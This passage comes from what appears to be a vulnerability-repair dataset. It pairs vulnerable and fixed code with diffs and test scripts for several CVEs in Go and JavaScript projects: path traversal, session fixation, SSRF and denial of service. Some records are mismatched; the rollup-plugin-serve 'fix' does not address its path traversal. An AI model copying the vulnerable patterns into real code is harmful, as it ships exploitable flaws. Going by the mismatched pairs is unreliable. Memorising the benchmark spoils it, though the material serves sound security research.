err)\n\t\treturn\n\t}\n\n\tvar filecontents []string\n\tfilePath, err := filesystem.FilterPath(configs.RootPath+\"logs\", c.Query(\"path\"))\n\tif err != nil {\n\t\tcon.ErrorHtml(c, err)\n\t\treturn\n\t}\n\n\tfi, err := os.Open(filePath)\n\tif err != nil {\n\t\tcon.ErrorHtml(c, err)\n\t\treturn\n\t}\n\tdefer fi.Close()\n\n\tscanner = bufio.NewScanner(fi)\n\tfor scanner.Scan() {\n\t\tline++\n\t\tif line >= startLine && line <= endLine {\n\t\t\t// \\u5728\\u8981\\u6c42\\u884c\\u6570\\u5185\\u53d6\\u5f97\\u6570\\u636e\n\t\t\tfilecontents = append(filecontents, scanner.Text())\n\t\t} else {\n\t\t\tcontinue\n\t\t}\n\t}\n\n\tc.HTML(http.StatusOK, \"setting/systemlog_view.html\", gin.H{\n\t\t\"file_path\":    c.Query(\"path\"),\n\t\t\"filecontents\": filecontents,\n\t\t\"start_line\":   startLine,\n\t\t\"end_line\":     endLine,\n\t\t\"line\":         line,\n\t})\n\n}"}, {"id": "fix_go_224_3", "commit": "726109f01ad23523715f36f7d272958064666a30", "file_path": "pkg/utils/filesystem/filesystem.go", "start_line": 96, "end_line": 113, "snippet": "func FilterPath(root, path string) (string, error) {\n\n\tnewPath := fmt.Sprintf(\"%s%s\", root, path)\n\tabsPath, err := filepath.Abs(newPath)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tabsPath = filepath.FromSlash(absPath)\n\tifOver := filepath.HasPrefix(absPath, filepath.FromSlash(root))\n\tfmt.Println(absPath)\n\tfmt.Println(filepath.FromSlash(root))\n\tif !ifOver {\n\t\treturn \"\", errors.New(\"access to the path is prohibited\")\n\t}\n\n\treturn absPath, nil\n}"}], "vul_patch": "--- a/internal/controllers/admin/setting/adminSystemController.go\n+++ b/internal/controllers/admin/setting/adminSystemController.go\n@@ -14,7 +14,11 @@\n \t)\n \n \tfileSlice = make([]FileNode, 0)\n-\tpath = gstrings.JoinStr(configs.RootPath, c.Query(\"path\"))\n+\tpath, err = filesystem.FilterPath(configs.RootPath+\"logs\", c.Query(\"path\"))\n+\tif err != nil {\n+\t\tcon.Error(c, err.Error())\n+\t\treturn\n+\t}\n \n \tfiles, err = ioutil.ReadDir(path)\n \tif err != nil {\n\n--- a/internal/controllers/admin/setting/adminSystemController.go\n+++ b/internal/controllers/admin/setting/adminSystemController.go\n@@ -20,7 +20,12 @@\n \t}\n \n \tvar filecontents []string\n-\tfilePath := gstrings.JoinStr(configs.RootPath, c.Query(\"path\"))\n+\tfilePath, err := filesystem.FilterPath(configs.RootPath+\"logs\", c.Query(\"path\"))\n+\tif err != nil {\n+\t\tcon.ErrorHtml(c, err)\n+\t\treturn\n+\t}\n+\n \tfi, err := os.Open(filePath)\n \tif err != nil {\n \t\tcon.ErrorHtml(c, err)\n\n--- a/pkg/utils/filesystem/filesystem.go\n+++ b/pkg/utils/filesystem/filesystem.go\n@@ -1,10 +1,18 @@\n-func JoinStr(items ...interface{}) string {\n-\tif len(items) == 0 {\n-\t\treturn \"\"\n+func FilterPath(root, path string) (string, error) {\n+\n+\tnewPath := fmt.Sprintf(\"%s%s\", root, path)\n+\tabsPath, err := filepath.Abs(newPath)\n+\tif err != nil {\n+\t\treturn \"\", err\n \t}\n-\tvar builder strings.Builder\n-\tfor _, v := range items {\n-\t\tbuilder.WriteString(v.(string))\n+\n+\tabsPath = filepath.FromSlash(absPath)\n+\tifOver := filepath.HasPrefix(absPath, filepath.FromSlash(root))\n+\tfmt.Println(absPath)\n+\tfmt.Println(filepath.FromSlash(root))\n+\tif !ifOver {\n+\t\treturn \"\", errors.New(\"access to the path is prohibited\")\n \t}\n-\treturn builder.String()\n+\n+\treturn absPath, nil\n }\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2021-41246", "cve_description": "Express OpenID Connect is express JS middleware implementing sign on for Express web apps using OpenID Connect. Versions before and including `2.5.1` do not regenerate the session id and session cookie when user logs in. This behavior opens up the application to various session fixation vulnerabilities. Versions `2.5.2` contains a patch for this issue.", "cwe_info": {"CWE-384": {"name": "Session Fixation", "description": "Authenticating a user, or otherwise establishing a new user session, without invalidating any existing session identifier gives an attacker the opportunity to steal authenticated sessions."}}, "repo": "https://github.com/auth0/express-openid-connect", "patch_url": ["https://github.com/auth0/express-openid-connect/commit/5ab67ff2bd84f76674066b5e129b43ab5f2f430f"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_60_1", "commit": "1a0c328921f875720b6268e94747025b3fcd1478", "file_path": "middleware/auth.js", "start_line": 70, "end_line": 144, "snippet": "      async (req, res, next) => {\n        next = cb(next).once();\n\n        client =\n          client ||\n          (await getClient(config).catch((err) => {\n            next(err);\n          }));\n\n        if (!client) {\n          return;\n        }\n\n        try {\n          const redirectUri = res.oidc.getRedirectUri();\n\n          let session;\n\n          try {\n            const callbackParams = client.callbackParams(req);\n            const authVerification = transient.getOnce(\n              'auth_verification',\n              req,\n              res\n            );\n\n            const { max_age, code_verifier, nonce, state } = authVerification\n              ? JSON.parse(authVerification)\n              : {};\n\n            req.openidState = decodeState(state);\n            const checks = {\n              max_age,\n              code_verifier,\n              nonce,\n              state,\n            };\n\n            let extras;\n            if (config.tokenEndpointParams) {\n              extras = { exchangeBody: config.tokenEndpointParams };\n            }\n\n            session = await client.callback(\n              redirectUri,\n              callbackParams,\n              checks,\n              extras\n            );\n          } catch (err) {\n            throw createError.BadRequest(err.message);\n          }\n\n          if (config.afterCallback) {\n            session = await config.afterCallback(\n              req,\n              res,\n              Object.assign({}, session), // Remove non-enumerable methods from the TokenSet\n              req.openidState\n            );\n          }\n\n          Object.assign(req[config.session.name], session);\n          attemptSilentLogin.resumeSilentLogin(req, res);\n\n          next();\n        } catch (err) {\n          // Swallow errors if this is a silentLogin\n          if (req.openidState && req.openidState.attemptingSilentLogin) {\n            next();\n          } else {\n            next(err);\n          }\n        }\n      },"}], "fix_func": [{"id": "fix_js_60_1", "commit": "5ab67ff2bd84f76674066b5e129b43ab5f2f430f", "file_path": "middleware/auth.js", "start_line": 71, "end_line": 164, "snippet": "      async (req, res, next) => {\n        next = cb(next).once();\n\n        client =\n          client ||\n          (await getClient(config).catch((err) => {\n            next(err);\n          }));\n\n        if (!client) {\n          return;\n        }\n\n        try {\n          const redirectUri = res.oidc.getRedirectUri();\n\n          let tokenSet;\n\n          try {\n            const callbackParams = client.callbackParams(req);\n            const authVerification = transient.getOnce(\n              'auth_verification',\n              req,\n              res\n            );\n\n            const { max_age, code_verifier, nonce, state } = authVerification\n              ? JSON.parse(authVerification)\n              : {};\n\n            req.openidState = decodeState(state);\n            const checks = {\n              max_age,\n              code_verifier,\n              nonce,\n              state,\n            };\n\n            let extras;\n            if (config.tokenEndpointParams) {\n              extras = { exchangeBody: config.tokenEndpointParams };\n            }\n\n            tokenSet = await client.callback(\n              redirectUri,\n              callbackParams,\n              checks,\n              extras\n            );\n          } catch (err) {\n            throw createError.BadRequest(err.message);\n          }\n\n          let session = Object.assign({}, tokenSet); // Remove non-enumerable methods from the TokenSet\n\n          if (config.afterCallback) {\n            session = await config.afterCallback(\n              req,\n              res,\n              session,\n              req.openidState\n            );\n          }\n\n          if (req.oidc.isAuthenticated()) {\n            if (req.oidc.user.sub === tokenSet.claims().sub) {\n              // If it's the same user logging in again, just update the existing session.\n              Object.assign(req[config.session.name], session);\n            } else {\n              // If it's a different user, replace the session to remove any custom user\n              // properties on the session\n              replaceSession(req, session, config);\n              // And regenerate the session id so the previous user wont know the new user's session id\n              regenerateSessionStoreId(req, config);\n            }\n          } else {\n            // If a new user is replacing an anonymous session, update the existing session to keep\n            // any anonymous session state (eg. checkout basket)\n            Object.assign(req[config.session.name], session);\n            // But update the session store id so a previous anonymous user wont know the new user's session id\n            regenerateSessionStoreId(req, config);\n          }\n          attemptSilentLogin.resumeSilentLogin(req, res);\n\n          next();\n        } catch (err) {\n          // Swallow errors if this is a silentLogin\n          if (req.openidState && req.openidState.attemptingSilentLogin) {\n            next();\n          } else {\n            next(err);\n          }\n        }\n      },"}], "vul_patch": "--- a/middleware/auth.js\n+++ b/middleware/auth.js\n@@ -14,7 +14,7 @@\n         try {\n           const redirectUri = res.oidc.getRedirectUri();\n \n-          let session;\n+          let tokenSet;\n \n           try {\n             const callbackParams = client.callbackParams(req);\n@@ -41,7 +41,7 @@\n               extras = { exchangeBody: config.tokenEndpointParams };\n             }\n \n-            session = await client.callback(\n+            tokenSet = await client.callback(\n               redirectUri,\n               callbackParams,\n               checks,\n@@ -51,16 +51,35 @@\n             throw createError.BadRequest(err.message);\n           }\n \n+          let session = Object.assign({}, tokenSet); // Remove non-enumerable methods from the TokenSet\n+\n           if (config.afterCallback) {\n             session = await config.afterCallback(\n               req,\n               res,\n-              Object.assign({}, session), // Remove non-enumerable methods from the TokenSet\n+              session,\n               req.openidState\n             );\n           }\n \n-          Object.assign(req[config.session.name], session);\n+          if (req.oidc.isAuthenticated()) {\n+            if (req.oidc.user.sub === tokenSet.claims().sub) {\n+              // If it's the same user logging in again, just update the existing session.\n+              Object.assign(req[config.session.name], session);\n+            } else {\n+              // If it's a different user, replace the session to remove any custom user\n+              // properties on the session\n+              replaceSession(req, session, config);\n+              // And regenerate the session id so the previous user wont know the new user's session id\n+              regenerateSessionStoreId(req, config);\n+            }\n+          } else {\n+            // If a new user is replacing an anonymous session, update the existing session to keep\n+            // any anonymous session state (eg. checkout basket)\n+            Object.assign(req[config.session.name], session);\n+            // But update the session store id so a previous anonymous user wont know the new user's session id\n+            regenerateSessionStoreId(req, config);\n+          }\n           attemptSilentLogin.resumeSilentLogin(req, res);\n \n           next();\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2021-41246:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/express-openid-connect\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\nnpx mocha --grep \"should replace the cookie session when a new user is logging in over an existing different user|should preserve session but regenerate session id when a new user is logging in over an anonymous session|should regenerate the session when a new user is logging in over an existing different user\"", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2021-41246:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/express-openid-connect\ngit apply --whitespace=nowarn /workspace/fix.patch\nnpx mocha test/callback.tests.js "}
{"cve_id": "CVE-2018-18206", "cve_description": "In the client in Bytom before 1.0.6, checkTopicRegister in p2p/discover/net.go does not prevent negative idx values, leading to a crash.", "cwe_info": {"CWE-190": {"name": "Integer Overflow or Wraparound", "description": "The product performs a calculation that can\n         produce an integer overflow or wraparound when the logic\n         assumes that the resulting value will always be larger than\n         the original value. This occurs when an integer value is\n         incremented to a value that is too large to store in the\n         associated representation. When this occurs, the value may\n         become a very small or negative number."}}, "repo": "https://github.com/Bytom/bytom", "patch_url": ["https://github.com/Bytom/bytom/commit/1ac3c8ac4f2b1e1df9675228290bda6b9586ba42"], "programing_language": "Go", "vul_func": [{"id": "vul_go_291_1", "commit": "69b3d4c7cf41c6628efb34ed79ad35e9e22bbf82", "file_path": "p2p/discover/net.go", "start_line": 1207, "end_line": 1228, "snippet": "func (net *Network) checkTopicRegister(data *topicRegister) (*pong, error) {\n\tvar pongpkt ingressPacket\n\tif err := decodePacket(data.Pong, &pongpkt); err != nil {\n\t\treturn nil, err\n\t}\n\tif pongpkt.ev != pongPacket {\n\t\treturn nil, errors.New(\"is not pong packet\")\n\t}\n\tif pongpkt.remoteID != net.tab.self.ID {\n\t\treturn nil, errors.New(\"not signed by us\")\n\t}\n\t// check that we previously authorised all topics\n\t// that the other side is trying to register.\n\thash, _, _ := wireHash(data.Topics)\n\tif hash != pongpkt.data.(*pong).TopicHash {\n\t\treturn nil, errors.New(\"topic hash mismatch\")\n\t}\n\tif data.Idx < 0 || int(data.Idx) >= len(data.Topics) {\n\t\treturn nil, errors.New(\"topic index out of range\")\n\t}\n\treturn pongpkt.data.(*pong), nil\n}"}], "fix_func": [{"id": "fix_go_291_1", "commit": "1ac3c8ac4f2b1e1df9675228290bda6b9586ba42", "file_path": "p2p/discover/net.go", "start_line": 1207, "end_line": 1228, "snippet": "func (net *Network) checkTopicRegister(data *topicRegister) (*pong, error) {\n\tvar pongpkt ingressPacket\n\tif err := decodePacket(data.Pong, &pongpkt); err != nil {\n\t\treturn nil, err\n\t}\n\tif pongpkt.ev != pongPacket {\n\t\treturn nil, errors.New(\"is not pong packet\")\n\t}\n\tif pongpkt.remoteID != net.tab.self.ID {\n\t\treturn nil, errors.New(\"not signed by us\")\n\t}\n\t// check that we previously authorised all topics\n\t// that the other side is trying to register.\n\thash, _, _ := wireHash(data.Topics)\n\tif hash != pongpkt.data.(*pong).TopicHash {\n\t\treturn nil, errors.New(\"topic hash mismatch\")\n\t}\n\tif int(data.Idx) < 0 || int(data.Idx) >= len(data.Topics) {\n\t\treturn nil, errors.New(\"topic index out of range\")\n\t}\n\treturn pongpkt.data.(*pong), nil\n}"}], "vul_patch": "--- a/p2p/discover/net.go\n+++ b/p2p/discover/net.go\n@@ -15,7 +15,7 @@\n \tif hash != pongpkt.data.(*pong).TopicHash {\n \t\treturn nil, errors.New(\"topic hash mismatch\")\n \t}\n-\tif data.Idx < 0 || int(data.Idx) >= len(data.Topics) {\n+\tif int(data.Idx) < 0 || int(data.Idx) >= len(data.Topics) {\n \t\treturn nil, errors.New(\"topic index out of range\")\n \t}\n \treturn pongpkt.data.(*pong), nil\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2020-7684", "cve_description": "This affects all versions of package rollup-plugin-serve. There is no path sanitization in readFile operation.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/thgh/rollup-plugin-serve", "patch_url": ["https://github.com/thgh/rollup-plugin-serve/commit/3d144f2f47e86fcba34f5a144968da94220e3969"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_166_1", "commit": "71cc20d", "file_path": "src/index.js", "start_line": 27, "end_line": 60, "snippet": "  const requestListener = (request, response) => {\n    // Remove querystring\n    const urlPath = decodeURI(request.url.split('?')[0])\n\n    Object.keys(options.headers).forEach((key) => {\n      response.setHeader(key, options.headers[key])\n    })\n\n    readFileFromContentBase(options.contentBase, urlPath, function (error, content, filePath) {\n      if (!error) {\n        return found(response, filePath, content)\n      }\n      if (error.code !== 'ENOENT') {\n        response.writeHead(500)\n        response.end('500 Internal Server Error' +\n          '\\n\\n' + filePath +\n          '\\n\\n' + Object.values(error).join('\\n') +\n          '\\n\\n(rollup-plugin-serve)', 'utf-8')\n        return\n      }\n      if (options.historyApiFallback) {\n        var fallbackPath = typeof options.historyApiFallback === 'string' ? options.historyApiFallback : '/index.html'\n        readFileFromContentBase(options.contentBase, fallbackPath, function (error, content, filePath) {\n          if (error) {\n            notFound(response, filePath)\n          } else {\n            found(response, filePath, content)\n          }\n        })\n      } else {\n        notFound(response, filePath)\n      }\n    })\n  }"}], "fix_func": [{"id": "fix_js_166_1", "commit": "71cc20d", "file_path": "src/index.js", "start_line": 27, "end_line": 63, "snippet": "  const requestListener = (request, response) => {\n    // Remove querystring\n    const urlPath = decodeURI(request.url.split('?')[0])\n\n    Object.keys(options.headers).forEach((key) => {\n      response.setHeader(key, options.headers[key])\n    })\n\n    readFileFromContentBase(options.contentBase, urlPath, function (error, content, filePath) {\n      if (!error) {\n        return found(response, filePath, content)\n      }\n      if (error.code !== 'ENOENT') {\n        response.writeHead(500)\n        response.end('500 Internal Server Error' +\n          '\\n\\n' + filePath +\n          '\\n\\n' + Object.values(error).join('\\n') +\n          '\\n\\n(rollup-plugin-serve)', 'utf-8')\n        return\n      }\n      if (options.historyApiFallback) {\n        var fallbackPath = typeof options.historyApiFallback === 'string' ? options.historyApiFallback : '/index.html'\n        readFileFromContentBase(options.contentBase, fallbackPath, function (error, content, filePath) {\n          if (error) {\n            notFound(response, filePath)\n          } else {\n            found(response, filePath, content)\n          }\n        })\n      } else {\n        notFound(response, filePath)\n      }\n    })\n  }\n\n  // release previous server instance if rollup is reloading configuration in watch mode\n  if (server) {"}], "vul_patch": "--- a/src/index.js\n+++ b/src/index.js\n@@ -32,3 +32,6 @@\n       }\n     })\n   }\n+\n+  // release previous server instance if rollup is reloading configuration in watch mode\n+  if (server) {\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-5122", "cve_description": "Grafana is an open-source platform for monitoring and observability. The CSV datasource plugin is a Grafana Labs maintained plugin for Grafana that allows for retrieving and processing CSV data from a remote endpoint configured by an administrator. If this plugin was configured to send requests to a bare host with no path (e.g.  https://www.example.com/ https://www.example.com/` ), requests to an endpoint other than the one configured by the administrator could be triggered by a specially crafted request from any user, resulting in an SSRF vector. AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator", "cwe_info": {"CWE-918": {"name": "Server-Side Request Forgery (SSRF)", "description": "The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination."}}, "repo": "https://github.com/grafana/grafana-csv-datasource", "patch_url": ["https://github.com/grafana/grafana-csv-datasource/commit/aedd016bdb93b0c43613ce69d8ca257163ec01eb"], "programing_language": "Go", "vul_func": [{"id": "vul_go_63_1", "commit": "572367c", "file_path": "pkg/http_storage.go", "start_line": 83, "end_line": 122, "snippet": "func newRequestFromQuery(settings *backend.DataSourceInstanceSettings, customSettings dataSourceSettings, query dataSourceQuery) (*http.Request, error) {\n\tu, err := url.Parse(settings.URL + query.Path)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tparams := make(url.Values)\n\tfor _, p := range query.Params {\n\t\tparams.Set(p[0], p[1])\n\t}\n\n\t// Query params set by admin overrides params set by query editor.\n\tvalues, err := url.ParseQuery(customSettings.QueryParams)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tfor k, v := range values {\n\t\tparams[k] = v\n\t}\n\n\tu.RawQuery = params.Encode()\n\n\tvar method string\n\tif query.Method != \"\" {\n\t\tmethod = query.Method\n\t} else {\n\t\tmethod = \"GET\"\n\t}\n\n\treq, err := http.NewRequest(method, u.String(), strings.NewReader(query.Body))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tfor _, p := range query.Headers {\n\t\treq.Header.Set(p[0], p[1])\n\t}\n\n\treturn req, nil\n}"}], "fix_func": [{"id": "fix_go_63_1", "commit": "aedd016", "file_path": "pkg/http_storage.go", "start_line": 83, "end_line": 133, "snippet": "func newRequestFromQuery(settings *backend.DataSourceInstanceSettings, customSettings dataSourceSettings, query dataSourceQuery) (*http.Request, error) {\n\tu, err := url.Parse(settings.URL + query.Path)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// we need to verify that `query.Path` did not modify the hostname by doing tricks\n\tsettingsURL, err := url.Parse(settings.URL)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"invalid URL\")\n\t}\n\n\tif settingsURL.Host != u.Host {\n\t\t// the host got changed by adding the path to it. this must not happen.\n\t\treturn nil, fmt.Errorf(\"invalid URL + path combination\")\n\t}\n\n\tparams := make(url.Values)\n\tfor _, p := range query.Params {\n\t\tparams.Set(p[0], p[1])\n\t}\n\n\t// Query params set by admin overrides params set by query editor.\n\tvalues, err := url.ParseQuery(customSettings.QueryParams)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tfor k, v := range values {\n\t\tparams[k] = v\n\t}\n\n\tu.RawQuery = params.Encode()\n\n\tvar method string\n\tif query.Method != \"\" {\n\t\tmethod = query.Method\n\t} else {\n\t\tmethod = \"GET\"\n\t}\n\n\treq, err := http.NewRequest(method, u.String(), strings.NewReader(query.Body))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tfor _, p := range query.Headers {\n\t\treq.Header.Set(p[0], p[1])\n\t}\n\n\treturn req, nil\n}"}], "vul_patch": "--- a/pkg/http_storage.go\n+++ b/pkg/http_storage.go\n@@ -2,6 +2,17 @@\n \tu, err := url.Parse(settings.URL + query.Path)\n \tif err != nil {\n \t\treturn nil, err\n+\t}\n+\n+\t// we need to verify that `query.Path` did not modify the hostname by doing tricks\n+\tsettingsURL, err := url.Parse(settings.URL)\n+\tif err != nil {\n+\t\treturn nil, fmt.Errorf(\"invalid URL\")\n+\t}\n+\n+\tif settingsURL.Host != u.Host {\n+\t\t// the host got changed by adding the path to it. this must not happen.\n+\t\treturn nil, fmt.Errorf(\"invalid URL + path combination\")\n \t}\n \n \tparams := make(url.Values)\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2023-5122:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/grafana-csv-datasource\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\ngo test  -timeout 30s -run ^TestHTTPStorage_UrlHandling$ github.com/grafana/grafana-csv-datasource/pkg\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2023-5122:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/grafana-csv-datasource\ngit apply --whitespace=nowarn /workspace/fix.patch\ngo test -timeout 30s -run '^(TestHTTPStorage_Settings|TestHTTPStorage_Open|TestHTTPStorage_Stat|TestHTTPStorage_Options)$' github.com/grafana/grafana-csv-datasource/pkg\n"}
{"cve_id": "CVE-2023-25653", "cve_description": "node-jose is a JavaScript implementation of the JSON Object Signing and Encryption (JOSE) for web browsers and node.js-based servers. Prior to version 2.2.0, when using the non-default \"fallback\" crypto back-end, ECC operations in `node-jose` can trigger a Denial-of-Service (DoS) condition, due to a possible infinite loop in an internal calculation.  For some ECC operations, this condition is triggered randomly; for others, it can be triggered by malicious input. The issue has been patched in version 2.2.0. Since this issue is only present in the \"fallback\" crypto implementation, it can be avoided by ensuring that either WebCrypto or the Node `crypto` module is available in the JS environment where `node-jose` is being run.", "cwe_info": {"CWE-835": {"name": "Loop with Unreachable Exit Condition ('Infinite Loop')", "description": "The product contains an iteration or loop with an exit condition that cannot be reached, i.e., an infinite loop."}}, "repo": "https://github.com/cisco/node-jose", "patch_url": ["https://github.com/cisco/node-jose/commit/901d91508a70e3b9bdfc45688ea07bb4e1b8210d"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_308_1", "commit": "e95481a67b69d0c0a0d5ea33c1a42fa3b81a202a", "file_path": "lib/deps/ecc/math.js", "start_line": 48, "end_line": 56, "snippet": "function barrettReduce(x) {\n  x.drShiftTo(this.m.t-1,this.r2);\n  if(x.t > this.m.t+1) { x.t = this.m.t+1; x.clamp(); }\n  this.mu.multiplyUpperTo(this.r2,this.m.t+1,this.q3);\n  this.m.multiplyLowerTo(this.q3,this.m.t+1,this.r2);\n  while(x.compareTo(this.r2) < 0) x.dAddOffset(1,this.m.t+1);\n  x.subTo(this.r2,x);\n  while(x.compareTo(this.m) >= 0) x.subTo(this.m,x);\n}"}], "fix_func": [{"id": "fix_js_308_1", "commit": "901d91508a70e3b9bdfc45688ea07bb4e1b8210d", "file_path": "lib/deps/ecc/math.js", "start_line": 48, "end_line": 57, "snippet": "function barrettReduce(x) {\n  if (x.s < 0) { throw Error(\"Barrett reduction on negative input\"); }\n  x.drShiftTo(this.m.t-1,this.r2);\n  if(x.t > this.m.t+1) { x.t = this.m.t+1; x.clamp(); }\n  this.mu.multiplyUpperTo(this.r2,this.m.t+1,this.q3);\n  this.m.multiplyLowerTo(this.q3,this.m.t+1,this.r2);\n  while(x.compareTo(this.r2) < 0) x.dAddOffset(1,this.m.t+1);\n  x.subTo(this.r2,x);\n  while(x.compareTo(this.m) >= 0) x.subTo(this.m,x);\n}"}, {"id": "fix_js_308_2", "commit": "901d91508a70e3b9bdfc45688ea07bb4e1b8210d", "file_path": "lib/deps/forge.js", "start_line": 92, "end_line": 98, "snippet": "const originalModInverse = forge.jsbn.BigInteger.prototype.modInverse;\nconst positiveModInverse = function(m) {\n  const inv = originalModInverse.apply(this, [m]);\n  return inv.mod(m);\n}\n\nforge.jsbn.BigInteger.prototype.modInverse = positiveModInverse;"}], "vul_patch": "--- a/lib/deps/ecc/math.js\n+++ b/lib/deps/ecc/math.js\n@@ -1,4 +1,5 @@\n function barrettReduce(x) {\n+  if (x.s < 0) { throw Error(\"Barrett reduction on negative input\"); }\n   x.drShiftTo(this.m.t-1,this.r2);\n   if(x.t > this.m.t+1) { x.t = this.m.t+1; x.clamp(); }\n   this.mu.multiplyUpperTo(this.r2,this.m.t+1,this.q3);\n\n--- /dev/null\n+++ b/lib/deps/ecc/math.js\n@@ -0,0 +1,7 @@\n+const originalModInverse = forge.jsbn.BigInteger.prototype.modInverse;\n+const positiveModInverse = function(m) {\n+  const inv = originalModInverse.apply(this, [m]);\n+  return inv.mod(m);\n+}\n+\n+forge.jsbn.BigInteger.prototype.modInverse = positiveModInverse;\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2018-21036", "cve_description": "Sails.js before v1.0.0-46 allows attackers to cause a denial of service with a single request because there is no error handler in sails-hook-sockets to handle an empty pathname in a WebSocket request.", "cwe_info": {"CWE-20": {"name": "Improper Input Validation", "description": "The product receives input or data, but it does\n        not validate or incorrectly validates that the input has the\n        properties that are required to process the data safely and\n        correctly."}}, "repo": "https://github.com/balderdashy/sails-hook-sockets", "patch_url": ["https://github.com/balderdashy/sails-hook-sockets/commit/0533a4864b1920fd8fbb5287bc0889193c5faf44"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_200_1", "commit": "4f78b79", "file_path": "lib/receive-incoming-sails-io-msg.js", "start_line": 90, "end_line": 137, "snippet": "    var requestContext = {\n\n      transport: 'socket.io', // TODO: consider if this is really helpful or just a waste of LoC\n\n      protocol: 'ws', // TODO: consider if this is really helpful or just a waste of LoC\n\n      isSocket: true,\n\n      ip      : ip,\n\n      ips     : ips,\n\n      port    : null,\n\n      // Access to underlying SIO socket\n      socket  : options.socket,\n\n      url     : options.incomingSailsIOMsg.url,\n\n      path    : url.parse(options.incomingSailsIOMsg.url).pathname,\n\n      method  : options.eventName,\n\n      // Attached data becomes simulated HTTP body (`req.body`)\n      // (allow `params` or `data` to be specified for backwards/sideways-compatibility)\n      body    : _.isArray(options.incomingSailsIOMsg.data) ? options.incomingSailsIOMsg.data : _.extend({}, options.incomingSailsIOMsg.params || {}, options.incomingSailsIOMsg.data || {}),\n\n      // Allow optional headers\n      headers: _.defaults({\n\n        host: app.config.host,\n\n        // Default the \"cookie\" request header to what was provided in the handshake.\n        cookie: (function (){\n          var _cookie;\n          try {\n            _cookie = options.socket.handshake.headers.cookie;\n          }\n          catch (e) {}\n          // console.log('REQUEST to \"%s %s\" IS USING COOKIE:', options.eventName, options.incomingSailsIOMsg.url, _cookie);\n          return _cookie;\n        })(),\n\n        nosession: options.socket.handshake.headers.nosession ? true : undefined,\n\n      }, options.incomingSailsIOMsg.headers || {})\n\n    };"}], "fix_func": [{"id": "fix_js_200_1", "commit": "0533a48", "file_path": "lib/receive-incoming-sails-io-msg.js", "start_line": 90, "end_line": 140, "snippet": "    var requestContext = {\n\n      transport: 'socket.io', // TODO: consider if this is really helpful or just a waste of LoC\n\n      protocol: 'ws', // TODO: consider if this is really helpful or just a waste of LoC\n\n      isSocket: true,\n\n      ip      : ip,\n\n      ips     : ips,\n\n      port    : null,\n\n      // Access to underlying SIO socket\n      socket  : options.socket,\n\n      url     : options.incomingSailsIOMsg.url,\n\n      path    : url.parse(options.incomingSailsIOMsg.url).pathname || '/',\n      // ^^ Uses || '/' because otherwise url.parse returns `null`,\n      // which is not a string and thus bad when you try to check\n      // .match() of it.\n\n      method  : options.eventName,\n\n      // Attached data becomes simulated HTTP body (`req.body`)\n      // (allow `params` or `data` to be specified for backwards/sideways-compatibility)\n      body    : _.isArray(options.incomingSailsIOMsg.data) ? options.incomingSailsIOMsg.data : _.extend({}, options.incomingSailsIOMsg.params || {}, options.incomingSailsIOMsg.data || {}),\n\n      // Allow optional headers\n      headers: _.defaults({\n\n        host: app.config.host,\n\n        // Default the \"cookie\" request header to what was provided in the handshake.\n        cookie: (function (){\n          var _cookie;\n          try {\n            _cookie = options.socket.handshake.headers.cookie;\n          }\n          catch (e) {}\n          // console.log('REQUEST to \"%s %s\" IS USING COOKIE:', options.eventName, options.incomingSailsIOMsg.url, _cookie);\n          return _cookie;\n        })(),\n\n        nosession: options.socket.handshake.headers.nosession ? true : undefined,\n\n      }, options.incomingSailsIOMsg.headers || {})\n\n    };"}], "vul_patch": "--- a/lib/receive-incoming-sails-io-msg.js\n+++ b/lib/receive-incoming-sails-io-msg.js\n@@ -17,7 +17,10 @@\n \n       url     : options.incomingSailsIOMsg.url,\n \n-      path    : url.parse(options.incomingSailsIOMsg.url).pathname,\n+      path    : url.parse(options.incomingSailsIOMsg.url).pathname || '/',\n+      // ^^ Uses || '/' because otherwise url.parse returns `null`,\n+      // which is not a string and thus bad when you try to check\n+      // .match() of it.\n \n       method  : options.eventName,\n \n\n", "poc_patch": null, "unit_test_cmd": null}
